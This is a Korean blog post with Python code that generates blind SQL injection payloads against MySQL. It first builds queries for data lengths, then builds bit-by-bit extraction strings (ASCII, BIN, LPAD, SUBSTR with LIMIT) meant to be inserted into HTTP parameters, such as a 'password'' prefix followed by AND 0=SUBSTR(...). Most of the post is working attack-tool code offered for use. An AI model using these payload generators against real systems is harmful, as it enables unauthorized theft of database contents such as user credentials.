▣ 구현(MySQL)

  1) Function

        - 추출하고자 하는 데이터의 길이를 조회하는 쿼리 반환

        - 데이터 길이만큼만 실제 데이터를 조회하는 쿼리 반환


  2) MySQL 내장함수

          : 모든 가능한 문자(a-z, !@#$&*...)를 대입하지 않고 해당 문자를
ASCII→BINARY→00000000 형태로 변환하여 총 8번 질의 시 1개의 문자를 추출


        - SUBSTR([문자열], [추출할 문자열의 위치], [추출할 문자열의 길이])

        - LPAD([문자열], [반환할 문자열의 길이], [부족한 문자열에 채울 문자])

        - BIN([10진수를 2진수 형태로 변환])

        - ASCII([문자열을 10진수 형태의 ASCII코드로 변환])

        - LIMIT [추출할 행의 인덱스], [인덱스부터 추출할 행의 개수]


  3) CODE

########################
# * function For MySQL #
########################

# MySQL : Get DataLengthQuery List(Inner)
""" 
payload['row'] : 추출하고자 하는 행의 개수
payload['sql'] : 추출하고자 하는 데이터 조회 쿼리

◈ getDataLenthQuery()
: SQLInjection시 조회하고자 하는 불필요한 Loop를 줄이고자 데이터의 길이를 먼저 조회
: length()함수를 이용하여 추출하고자 하는 데이터조회 쿼리를 데이터 길이를 조회하는 SQL구문으로 변환
ex) select member_id from user -> select length(member_id) from user
"""
def getDataLengthQuery_mysql(payload) :
    dataLengthQuery = []
    row = payload['row']
    
    # 추출하고자 하는 행의 수만큼 for Loop
    for i in range(0, row) :
        sql = payload['sql']
        sql = sql.lower()
        # 입력받은 SQL구문을 공백문자를 기준으로 나누어 List형태로 저장
        sql = sql.split(' ')
        
        # list내 select요소의 다음 요소(컬럼명)의 인덱스 추출
        idx = sql.index('select')+1
        # length()함수로 감싸 replace
        sql[idx] = sql[idx].replace(sql[idx], 'length('+sql[idx]+')')
        
        # 한 번에 한 개의 데이터만 조회해야 하므로 limit조건 추가
        sql.append('limit')
        sql.append(str(i))
        sql.append(',')
        sql.append('1')
        
        # List형태의 완성된 구문을 Str타입으로 변환 후 저장
        sql = ' '.join(sql)
        dataLengthQuery.append(sql)
    return dataLengthQuery


# MySQL : Make legnthQuery(Outer)
""" 
frontStr : 공격벡터가 되는 파라미터에 True를 반환하는 문자열. ex) password'
sqlList : 데이터 조회쿼리에 length()함수를 추가한 쿼리 List
i : 작성된 쿼리 List를 추출할 인덱스
j : 데이터 조회결과 1개의문자를 추출할 인덱스
k : 추출된 한개의 문자를 binary형태로 변환 후 0혹은 1을 추출할 인덱스

◈ getLengthQuery_mysql()
: SQLInjection시 조회하고자 하는 불필요한 Loop를 줄이고자 데이터의 길이를 먼저 조회
: frontStr, sqlList, 인덱스 인자 값을 입력받아 실제 HTTP파라미터에 삽입 될 공격 문자열을 반환
ex) password'and 0==SUBSTR(LPAD(bin(ascii(substr((....
"""
def getLengthQuery_mysql(frontStr, sqlList, i, j, k) : 
    query = frontStr + " AND 0=SUBSTR(LPAD(bin(ascii(substr(("
    query += sqlList[i] + ")," + str(j) + ",1))),8,0)," + str(k) + ",1)-- "
    return query


# MySQL : Get payloadQuery List
"""
payload['row'] : 추출하고자 하는 데이터 수 
payLoad['frontStr'] : 공격 파라미터에 가장 먼저 들어가는 문자열(참이 되는 문자열)
payload['sql'] : 추출하고자 하는 데이터 조회 쿼리
result : 추출하고자 하는 데이터의 데이터길이 List

◈ getQuery_mysql()
: 추출할 데이터의 문자열길이list 및 payload를 입력받아 데이터를 조회하는 쿼리들을 작성 후 list형태로 반환
"""
def getQuery_mysql(payload, result) :
    mysqlQuery = []
    for l in range(0, payload['row']) :
        for i in range(1, result[l]+1):
            for j in range(1, 9) :
                query = ''
                query = payload['frontStr'] + " and 0=substr(LPAD(bin(ascii(substr(("
                query += payload['sql']+" limit "+str(l)+", 1)," + str(i)+ ",1))),8,0)," + str(j) + ",1)-- "
                mysqlQuery.append(query)
    return mysqlQuery


다른 카테고리의 글 목록

Python/Tools 카테고리의 포스트를 톺아봅니다